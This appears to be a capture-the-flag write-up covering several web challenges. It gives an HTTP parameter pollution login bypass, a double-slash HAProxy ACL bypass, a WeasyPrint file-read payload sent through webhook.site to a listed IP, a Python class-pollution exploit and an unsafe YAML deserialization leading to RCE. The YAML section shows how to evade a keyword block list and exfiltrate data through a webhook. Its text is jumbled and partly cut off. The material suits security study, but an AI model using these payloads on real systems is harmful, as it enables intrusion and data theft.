    yaml_content = request.form.get('yaml_content')

    if not yaml_content.strip():
        return render_template_string(HTML_TEMPLATE,
                                    result="Error: No YAML content provided",
                                    result_type="error")

    result_data, error = yaml_load(yaml_content)
    if error:
        return render_template_string(HTML_TEMPLATE,
                                    result=f"Error processing YAML: {error}",
                                    result_type="error")

    result_text = "Import processed successfully:\n\n"
    result_text += yaml.dump(result_data, default_flow_style=False)

    return render_template_string(HTML_TEMPLATE,
                                result=result_text,
                                result_type="success")

From here you can get RCE, therefore you can just use this to read flag.txt at root path.

EcoQuery

Challenge Analysis

The target is a PHP authentication system with two user accounts:

  • admin - Has administrator privileges and can view the flag
  • guest - Inactive account with known password “guest”

Finding the Vulnerability

Looking at the code, I noticed different methods handle username parameter extraction:

  1. Permission validation uses InputHandler::parseParam('username') - gets the first parameter
  2. Credential validation uses $_POST['username'] - gets the last parameter when duplicates exist

This creates an HTTP Parameter Pollution vulnerability.

Exploitation

Payload
1
username=admin&username=guest&password=guest
How it works

  1. Permission Check

    • parseParam('username') returns "admin" (first occurrence)
    • System checks if admin exists and is active ✓

  2. Credential Check

    • $_POST['username'] returns "guest" (last occurrence)
    • System validates password “guest” against guest account ✓

  3. Session Creation

    • Uses parseParam('username') again, returns "admin"
    • Creates admin session with administrator privileges
    • Displays the flag

Result

Successfully bypassed authentication and retrieved the flag as administrator.

Private Party

Challenge Analysis

The setup consists of:

  • HAProxy (port 8001) - Acts as reverse proxy with access control
  • Flask app (port 5000) - Backend application with admin functionality

Key Components

  • HAProxy blocks access to /admin paths
  • Flask /admin endpoint allows user registration with registered_via_admin=True
  • Only users with registered_via_admin=True can access the dashboard

Finding the Vulnerability

Looking at the HAProxy configuration:

1
2
acl is_admin_path path_beg,url_dec -i /admin
http-request deny if is_admin_path

The ACL uses path_beg (path begins with) and url_dec (URL decode) to block /admin paths.

However, HAProxy has inconsistent handling of slashes (///////) in paths will still redirects the user to (/) in the end.

Exploitation

Step 1: Bypass HAProxy Protection

Access the admin endpoint using double slashes:

1
GET ////admin

HAProxy doesn’t recognize ////admin as matching /admin pattern, so it forwards the request to Flask.

Step 2: Create Admin Account

Flask normalizes ////admin to /admin and serves the admin registration page.

Create account via POST request:

6
7
POST //admin
Content-Type: application/json

{
    "username": "aan",
    "password": "123"
}

This creates a user with registered_via_admin=True.

Step 3: Login and Access Dashboard

  1. Login with the newly created credentials
  2. Access /dashboard to get the flag

Safe_PDF

Challenge Analysis

A Flask application that converts URLs to PDF using WeasyPrint library:

  • Takes user-provided URL
  • Validates URL scheme (http/https only)
  • Uses WeasyPrint to render HTML to PDF
  • Returns PDF file to user

Target: Read /app/flag.txt from the server filesystem

Finding the Vulnerability

WeasyPrint supports various CSS features including external resources. Key insight: CSS link tags with rel="attachment" can reference local files that get processed during PDF generation.

The vulnerability is in WeasyPrint’s handling of file:// URLs in CSS, even when the main URL is HTTP.

Exploitation

Step 1: Set up Webhook

Use webhook.site to host malicious HTML content that WeasyPrint will fetch.

Step 2: Create Malicious HTML

Host HTML content at webhook URL containing:

1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
  <head> </head>
  <body>
    <link rel="attachment" href="file:///app/flag.txt" />
  </body>
</html>

Step 3: Submit Request

1
2

5
POST / HTTP/1.1
Host: 5.223.49.127:27002
Content-Type: application/x-www-form-urlencoded

url=https://webhook.site/4f8fec70-6bd6-490b-bf3c-829c9bb0a15e

How it Works

  1. Application validates webhook URL (passes - it’s HTTPS)
  2. WeasyPrint fetches the HTML from webhook.site
  3. During PDF rendering, WeasyPrint processes the <link> tag
  4. WeasyPrint reads file:///app/flag.txt due to CSS attachment processing
  5. Flag content gets embedded in the generated PDF

Result

Successfully read flag from server filesystem via PDF generation process, and the decode it, for this I just use AI to decode stream data on the pdf.

def assign(src, dst):
    if not isinstance(src, dict):
        return
    for k, v in src.items():
        meta_key = k in ('__dict__', '__class__')
        if meta_key and not getattr(PORTAL_STATE, 'allow_meta', False):
            continue
        if k == 'prototype' and getattr(PORTAL_STATE, 'allow_meta', False):
            k = '__class__'
        if k == '__dict__' and isinstance(v, dict) and hasattr(dst, '__dict__'):
            dst.__dict__.update(v)
            continue
        if k == '__class__' and isinstance(v, dict) and hasattr(dst, '__class__'):
            assign(v, dst.__class__)
            continue
        # ... additional assignment logic

Vulnerability: The assign() function allows modification of object attributes including __class__ when allow_meta is enabled. This creates a prototype pollution vulnerability.

Exploitation Steps:

  1. Enable meta features by setting features: ["beta", "meta"]
  2. Use __class__ key to modify class attributes
  3. Set role to “admin” and unlock challenge area

            yaml_content = yaml_content.replace("off:", "false:")
        data = yaml.load(yaml_content, Loader=yaml.Loader)  # Unsafe!
        return data, None
    except Exception as e:
        return None, str(e)

Vulnerability: Uses yaml.Loader which allows arbitrary Python object instantiation.

collapsed = re.sub(r"[^a-z0-9]", "", yaml_content.lower())
sensitive_tokens = ["flagtxt", "procselfenviron", "etcpasswd"]
if any(tok in collapsed for tok in sensitive_tokens):
    return "blocked: true, reason: 'target denied'"

Bypass Strategy

Key Insights:

  1. !!python/object/new is NOT blocked (only !!python/object/apply)
  2. Can use wildcards (/*flag*) to avoid “flagtxt” detection
  3. Use webhook exfiltration since os.system() only returns exit code

      ]

Step 3: Retrieve Flag

Check the webhook URL for the exfiltrated flag content.
